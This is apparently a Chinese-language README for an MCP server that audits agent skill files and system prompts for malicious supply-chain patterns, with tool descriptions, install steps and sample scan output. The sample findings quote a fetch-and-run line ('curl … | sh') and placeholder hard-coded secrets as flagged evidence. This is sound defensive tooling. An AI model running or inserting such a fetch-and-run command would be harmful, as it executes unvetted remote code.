mcp-skill-sec

一个 Model Context Protocol (MCP) 服务器，可针对 8 种恶意技能供应链模式 审计任何智能体技能、系统提示词或已下载的文件集合。

确定性执行，不依赖 LLM，不进行网络调用——一个可自托管的安装前扫描器，可与 Claude Code、Cursor、Copilot、OpenClaw、Codex CLI 以及任何兼容 MCP 的智能体配合使用。

扫描内容（规则 R1–R8）

每条发现都带有 severity（critical/high/medium/low）、行号以及匹配的证据行。只有当不存在 critical/high 发现且所有 medium 发现均为良性时，总体判定才为 PASS。

Related MCP server: Heron

工具

• audit_text(text, filename) — 审计一段字符串（别人粘贴给你的技能、并非你编写的系统提示词）。

• audit_skill_file(path) — 审计磁盘上的 SKILL.md / AGENTS.md / CLAUDE.md，输出带行号的证据。

• audit_directory(path, pattern) — 审计整个已下载的技能集合；返回每个文件的判定结果及摘要。

• rule_list() — 导出规则目录。

安装与运行

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / 智能体配置

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

示例

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

许可证与出处

MIT。由 sudo-ai-git 编写。这是一个独立的安全/验证工具，不包含任何专有方法。它是 skill-sec 智能体技能的 MCP 表达形式（规则相同，以服务器形式调用，而非以技能形式调用）。

官方 MCP 注册表元数据

mcp-name: io.github.sudo-ai-git/mcp-skill-sec